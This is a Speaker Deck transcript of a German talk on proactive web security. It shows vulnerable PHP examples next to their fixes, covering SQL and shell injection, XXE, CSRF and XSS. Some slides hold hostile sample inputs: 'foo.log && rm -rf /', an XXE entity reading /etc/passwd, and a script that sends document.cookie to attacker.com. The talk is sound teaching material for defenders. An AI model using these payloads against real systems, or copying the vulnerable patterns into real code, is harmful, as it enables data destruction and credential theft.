Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Vorausschauende Sicherheits-Architektur

Vorausschauende Sicherheits-Architektur

Eine Web Seite sicher und frei von Sicherheitslücken zu halten ist harte Arbeit, unabhängig davon ob man sich informiert und z.B. die OWASP Top 10 kennt. In diesem Vortrag werden Tools und Best Practices vorgestellt, die helfen, Sicherheitsprobleme vor einem Angreifer zu entdecken und sogar von vorneherein zu vermeiden.

Bastian Hofmann

May 05, 2018
Tweet

More Decks by Bastian Hofmann

Other Decks in Programming

Transcript

  1. “There are nearly 30,000 [MongoDB] instances on the Internet that

    don't have any authorization enabled” https://blog.shodan.io/its-the-data-stupid/
  2. $ nmap scanme.nmap.org Starting Nmap 7.60 … Not shown: 994

    closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 9929/tcp open nping-echo
  3. <?php $userId = $_GET[‘userId’]; $sql = ‘SELECT * FROM users

    WHERE id =‘ . $userId; $mysqli->query($sql);
  4. <?php // 12 OR TRUE $userId = $_GET[‘userId’]; $sql =

    ‘SELECT * FROM users WHERE id =‘ . $userId; $mysqli->query($sql);
  5. <?php $name = $_GET[‘name’]; $name = $mysqli->real_escape_string($name); $sql = ‘SELECT

    * FROM users WHERE name = ’ . $name; $mysqli->query($sql);
  6. <?php $userId = (int) $_GET[‘userId’]; $rsm = new ResultSetMapping(); $query

    = $entityManager->createNativeQuery( 'SELECT * FROM users WHERE userId = ?', $rsm ); $query->setParameter(1, $userId); $users = $query->getResult();
  7. <?php $client = new \GuzzleHttp\Client(); $res = $client->request( 'GET', //

    6&admin=true 'https://api.com/path/?id=' . $_GET[‘id'] );
  8. <?php // foo.log && rm -rf / $logFile = $_GET['logFile'];

    passthru( 'cat ' . __DIR__ . '/' . $logFile );
  9. <?php $logFile = $_GET['logFile']; if (!preg_match('/^[a-z]+\.log$/', $logFile) { throw new

    \Exception('Invalid file name'); } passthru( 'cat ' . escapeshellarg( __DIR__ . '/' . $logFile ) );
  10. <?php $logFile = $_GET['logFile']; $file = realpath(__DIR__ . '/' .

    $logFile); if (dirname($file) !== __DIR__) { throw \Exception('Invalid file'); } passthru( 'cat ' . escapeshellarg( $file ) );
  11. <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY >

    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
  12. PHP

  13. OS

  14. localhost (centos7.3.1611) ========================== Total: 109 (High:35 Medium:55 Low:16 ?:3) 31

    updatable packages CVE-2015-2806 10.0 HIGH (nvd) Stack-based buffer overflow in asn1_der_decoding in libtasn1 before 4.4 allows remote attackers to have unspecified impact via unknown vectors.
  15. 14:06:40.337900 IP6 (flowlabel 0xbb911, hlim 57, next- header TCP (6)

    payload length: 549) muc11s14-in-x0e. 1e100.net.http > 2a02:8109:9880:2e9c:94b4:a371:f1b3:b82b. 60808: Flags [P.], cksum 0x4ae9 (correct), seq 1:518, ack 75, win 106, options [nop,nop,TS val 2632812618 ecr 335746159], length 517: HTTP, length: 517 HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Location: http://www.google.de/? gfe_rd=cr&dcr=0&ei=4LJYWo6FFKiF8Qe9w63gAQ Content-Length: 268 Date: Fri, 12 Jan 2018 13:06:40 GMT
  16. TLS

  17. $ curl -I http://www.researchgate.net HTTP/1.1 301 Moved Permanently Content-Length: 178

    Content-Type: text/html Date: Fri, 12 Jan 2018 13:02:35 GMT Location: https://www.researchgate.net/ Server: nginx Connection: keep-alive
  18. “Less then 10 percent of all google users use Two-Factor-

    Authentication” http://uk.pcmag.com/news/92919/most-google-accounts-dont-use-two-factor- authentication
  19. <?php $plaintext = $sessionId . '/' . $userId . '/'

    . time(); $nonce = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES); $token = base64_encode($nonce . sodium_crypto_secretbox($plaintext, $nonce, $key));
  20. <?php $token = $_POST['csrf_token']; $nonce = substr( $token, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES

    ); $crypt = substr( $token, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES ); $plaintext = sodium_crypto_secretbox_open($crypt, $nonce, $key); [$sessionId, $userId, $time] = explode('/', $plaintext); // …
  21. if ( $sessionId !== session_id() || $userId !== $_SESSION['userId'] ||

    time() - $time > 7200 ) { throw \Exception('Invalid csrf token'); }
  22. Because of the Cross Origin Policy an attacker can not

    get hold of a matching CSRF token
  23. <html> <body> <div> User generated comment <script> fetch( 'http://attacker.com/?cookies=' +

    document.cookie ) </script> that comes from database </div> </body> </html>
  24. {% autoescape "html" %} <html> <body> <div> {{ comment }}

    </div> </body> </html> {% endautoescape %}
  25. $expire = 0; $path = ''; $domain = ''; $secure

    = true; $httpOnly = true; setcookie( 'sessionId', '...', $expire, $path, $domain, $secure, $httpOnly );
  26. <script> if ( typeof console === 'object' && console.log )

    { console.log( '%cWARNING!', 'color:white; background:red;' ); ... } </script>